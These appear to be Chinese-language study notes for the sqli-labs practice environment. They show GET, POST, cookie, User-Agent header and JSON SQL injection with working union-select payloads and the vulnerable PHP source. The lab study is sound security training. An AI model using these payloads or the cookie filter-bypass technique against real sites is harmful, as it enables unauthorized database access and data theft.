目录
COOKIE数据提交注入测试:sqlilabs less 20
HTTP头部参数数据注入测试:sglilabs less 18
注入前需要明确
数据库类型
- access
- mssql
- mysql
- oracle
- postsql
- sqlite
- mongodb
请求方法
不同的请求方法,请求的数据类型、大小都不一样。如果不按照网站接受的方式请求,注入语句将不被接受,无法代入数据库执行,注入无法攻击成功。
- GET:特性:只要在网址后面,就能接收到
- POST:通过网址无法接收,必须附在数据包末尾访问
<?php $get=$_GET['g']; echo $get; $post=$_POST['p']; echo $post; ?> 访问 127.0.0.1:8080/9.php?g=123 显示 123 抓包发现数据包以GET提交 访问 127.0.0.1:8080/9.php?g=123&p=456 显示 123 因为通过网址无法接收post变量 Firefox Hackbar选择以post data形式 访问 127.0.0.1:8080/9.php?g=123 post data:p=456 显示 123456 抓数据包头 POST /9.php?g=123 HTTP/1.1 GET特性:只要在网址后面就能接收到参数
- COOKIE:数据包字段
<?php $c=$_COOKIE['c']; echo $c; ?>
POST /9.php?g=123 HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Vindows NT 10.0: VOW64: rv:48.0) Gecko/20100101 Firefox/48,0 Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8 Accept-Language: zh-CN, zh;g=0.8,en-US;q=0.5,en;g=0.3 Accept-Encoding: gzip, deflate DNT:1 X-Forwarded-For: 8.8.8.8 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 5 Cookie: c=789 p=456
- Request:全部接收,GET/POST/Cookie都能接收
<?php $r=$_REQUEST['r']; echo $r; ?>
- HTTP头
<?php $s=$_SERVER['HTTP_USER_AGENT']; echo $s; ?>
数据类型
判断注入时是否需要考虑符号(' ")问题。
- 数字型:select * from user where id=1
- 字符型:select * from user where email_id='12345@678.com'
$name=$_GET['x']; $sql="select * from user where name='$name'"; ?x=xiaodi and 1=1 //注入语句 select * from user where name='xiaodi and 1=1' //纯字符串无逻辑判断
- 搜索型
- JSON
SQL干扰符号: ',",s,),} 等,具体问题具体分析,通过尝试得知(某些工具也有内置字典)
演示案例
参数字符型注入测试:sqlilabs less 5 6
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
$id 被单引号扩起来了。注入的时候加一个单引号尝试绕过。
访问:127.0.0.1/Less-5/?id=1' and 1=1
报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
$sql="SELECT * FROM users WHERE id='1' and 1=1' LIMIT 0,1";
访问:127.0.0.1/Less-5/?id=1' and '1'='1
$sql="SELECT * FROM users WHERE id='1' and '1'='1' LIMIT 0,1";
页面正常。
访问:127.0.0.1/Less-5/?id=1' and '1'='2
$sql="SELECT * FROM users WHERE id='1' and '1'='2' LIMIT 0,1";
页面不正常。证实注入点。
开始测试注入。
访问:127.0.0.1/Less-5/?id=1' union select 1,2,3 and '1'='1
$sql="SELECT * FROM users WHERE id='1' union select 1,2,3 and '1'='1' LIMIT 0,1";
没有回显,无法联合注入,因为联合注入需要页面有回显位。要用报错/盲注进行测试。
如果没有回显,首先想到的就是程序已经禁止了数据库信息的返回显示。这是我们就要尝试进行盲注,可以尝试布尔型盲注、报错注入、时间延迟型盲注。这类型手工注入工程量很大,建议使用sqlmap,利用工具进行注入。
sqlmap扫描、burpsuite爆破猜解数据库名(security)……都是可行的。
Less-6
$id = '"'.$id.'"'; $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
查看源码可以发现id参数在传递时被引号扩起来了。
输入单引号不报错,双引号时报错,根据报错信息可以推断是字符型注入,闭合方式为”。
注入时要明确参数类型、保证参数前后符号闭合,且后续的干扰项(如LIMIT 0,1)被注释掉(--+)。
POST数据提交注入测试:sqlilabs less 11
随便输入admin admin,BurpSuite开启抓包,查看数据包:
登陆验证时需要与数据库发生交互,比对,post注入就发生在数据包最后一行。
密码一般是字符串,肯定要考虑符号问题。
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
注入语句:uname=admin' and 1=2 union select database(),2#
一共有两个通道(参数)即username,passwd。井号注释掉后续语句。
union select database() 查看当前数据库。回显:security。
然后继续常规操作猜解表名、列名、数据。
COOKIE数据提交注入测试:sqlilabs less 20
if(!isset($_COOKIE['uname'])) ... if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname = check_input($_POST['uname']); $passwd = check_input($_POST['passwd']); $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; $result1 = mysql_query($sql); $row1 = mysql_fetch_array($result1); $cookee = $row1['username'];
Cookie注入:以cookie方式提交注入点。
修改 index.php 使其回显sql语句,尝试登陆xiaodi xiaodi,页面回显sql语句:
SELECT users.username,users.password FROM users WHERE users.username='xiaodi' and users.password='xiaodi' ORDER BY users.id DESC LIMIT 0,1
随便输入,尝试登陆,抓包,POST数据包Payload显示:
uname=admin&passwd=admin&submit=Submit
尝试注入 uname=xiaodi' and 1=2 union select 1,2,3#
发现 xiaodi 后的单引号被转义了(uname=‘xiaodi\')并且语句到union就被截断。
从源代码获悉开启了魔术引号 get_magic_quotes_gpc(),对所有以POST形式传入的参数进行检测 check_input():
function check_input($value) { if(!empty($value)) { $value = substr($value,0,20); // truncation (see comments) } if (get_magic_quotes_gpc()) // Stripslashes if magic quotes enabled { $value = stripslashes($value); } if (!ctype_digit($value)) // Quote if not a number { $value = "'" . mysql_real_escape_string($value) . "'"; } else { $value = intval($value); } return $value; } if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname = check_input($_POST['uname']); $passwd = check_input($_POST['passwd']);
if(!isset($_COOKIE['uname'])) { //including the Mysql connect parameters. include("../sql-connections/sql-connect.php");
提供思路:如果POST走不通,可以尝试Cookie注入。
点击登陆时POST数据包的Payload是:uname=admin&passwd=admin&submit=Submit
代码审计发现,如果没有submit则默认为Cookie形式。所以只需在POST数据包内删除Payload字段内的 submit= 并在数据包Headers添加Cookie字段(并附注入语句)即可。
if(!isset($_POST['submit'])) { $cookee = $_COOKIE['uname']; $format = 'D d M Y - H:i:s'; $timestamp = time() + 3600; echo "<center>"; echo '<br><br><br>'; echo '<img src="../images/Less-20.jpg" />'; echo "<br><br><b>"; echo '<br><font color= "red" font size="4">'; echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT']; echo "</font><br>"; echo '<font color= "cyan" font size="4">'; echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR']; echo "</font><br>"; echo '<font color= "#FFFF00" font size = 4 >'; echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>"; echo '<font color= "orange" font size = 5 >'; echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp); echo "<br></font>"; $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1"; $result=mysql_query($sql);
修改数据包,添加Cookie字段:
Cookie: uname=admin' and 1=2 union select 1,2,3#
发现页面回显。
Cookie: uname=admin' and 1=2 union select database(),2,3#
继续常规操作即可。
1、如何Cookie注入(数据包加字段
2、当过滤机制仅针对POST提交的参数时,Cookie可以绕过过滤机制。
Cookie注入是因为从源代码中看到到Cookie没有设置过滤,所以用Cookie注入,在实际情况中,可以通过网站指纹意外源码审计,没有源码的情况下可以先试试GET注入、POST注入,然后再试Cookie。(所以说,手工盲注是一个工作量略大的活……)
HTTP头部参数数据注入测试:sglilabs less 18
<?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0); function check_input($value) { if(!empty($value)) { // truncation (see comments) $value = substr($value,0,20); } // Stripslashes if magic quotes enabled if (get_magic_quotes_gpc()) { $value = stripslashes($value); } // Quote if not a number if (!ctype_digit($value)) { $value = "'" . mysql_real_escape_string($value) . "'"; } else { $value = intval($value); } return $value; } $uagent = $_SERVER['HTTP_USER_AGENT']; $IP = $_SERVER['REMOTE_ADDR']; echo "<br>"; echo 'Your IP ADDRESS is: ' .$IP; echo "<br>"; //echo 'Your User Agent is: ' .$uagent; // take the variables if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname = check_input($_POST['uname']); $passwd = check_input($_POST['passwd']); /* echo 'Your Your User name:'. $uname; echo "<br>"; echo 'Your Password:'. $passwd; echo "<br>"; echo 'Your User Agent String:'. $uagent; echo "<br>"; echo 'Your User Agent String:'. $IP; */ //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'User Agent:'.$uname."\n"); fclose($fp); $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; $result1 = mysql_query($sql); $row1 = mysql_fetch_array($result1); if($row1) { echo '<font color= "#FFFF00" font size = 3 >'; $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"; mysql_query($insert); //echo 'Your IP ADDRESS is: ' .$IP; echo "</font>"; //echo "<br>"; echo '<font color= "#0000ff" font size = 3 >'; echo 'Your User Agent is: ' .$uagent; echo "</font>"; echo "<br>"; print_r(mysql_error()); echo "<br><br>"; echo '<img src="../images/flag.jpg" />'; echo "<br>"; } else { echo '<font color= "#0000ff" font size="3">'; //echo "Try again looser"; print_r(mysql_error()); echo "</br>"; echo "</br>"; echo '<img src="../images/slap.jpg" />'; echo "</font>"; } } ?>
源码:仍有过滤函数 check_input() ,并使用了$_SERVER['']内置函数获取IP和uagnet。
过滤函数并没有对 $uagent = $_SERVER['HTTP_USER_AGENT']; $IP = $_SERVER['REMOTE_ADDR']; 做过滤,并且源码可以看到有sql语句代入这两个未经过滤的参数执行了查询:
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"; mysql_query($insert);
本关卡属于INSERT注入(先前都是SELECT注入)。
修改源码使其回显:echo $insert();
需要成功登陆才能触发INSERT。尝试登陆 admin admin,抓包:
看到执行了语句:
INSERT INTO 'security'.'uagents' ('uagent','ip_address','username') VALUES ('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36','172.17.0.1','admin')
mysql> use security; Database changed mysql> show tables; +--------------------+ | Tables_in_security | +--------------------+ | emails | | referers | | uagents | | users | +--------------------+ 4 rows in set (0.00 sec) mysql> select * from uagents; +----+-----------------------------------------------------------------------------------------------------------------------+------------+----------+ | id | uagent | ip_address | username | +----+-----------------------------------------------------------------------------------------------------------------------+------------+----------+ | 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 | 172.17.0.1 | admin | +----+-----------------------------------------------------------------------------------------------------------------------+------------+----------+ 1 row in set (0.01 sec)
注入语句就在 User-Agent 字段做文章……
修改数据包的 User-Agent 字段为 aaaa,执行的sql语句就是:
INSERT INTO 'security'.'uagents' ('uagent','ip_address','username') VALUES ('aaaa','172.17.0.1','admin')
参数JSON数据注入测试:本地环境代码演示
JSON:全称是 JavaScript Object Notation,即 JavaScript对象标记法。
JSON是一种轻量级(Light-Meight)、基于文本的(Text-Based)、可读的(Human-Readable)格式。JSON无论对于人,还是对于机器来说,都十分便于阅读和书写,而且相比 XML文件更小,因此迅速成为网络上十分流行的交换格式,许多网站使用JSON格式进行数据交互。
JSON语法规则总结如下:
- 数组(Array)用方括号(“[]”)表示。
- 对象(0bject)用大括号(“{}”)表示。
- 名称/值对(name/value)组合成数组和对象。
- 名称(name)置于双引号中,值(value)有字符串、数值、布尔值、null、对象和数组。
- 并列的数据之间用逗号(“,”)分隔
注入方式:如果是数字型可以不加( ' )闭合,如果是字符型需加( " )闭合
POST /json.php HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv;48.0) Gecko/20100101Firefox/48.0 Accept; text/html, application/xhtml+xml, application/xml;g=0.g, */*;g=D.8 Accept-Language; zh-CN, zh;q=0.8,en-Us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 X-Forwarded-For: 8.8.8.8 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 62 json={"username"; "Dumb' and 1=2 union select 1,database(),3#"}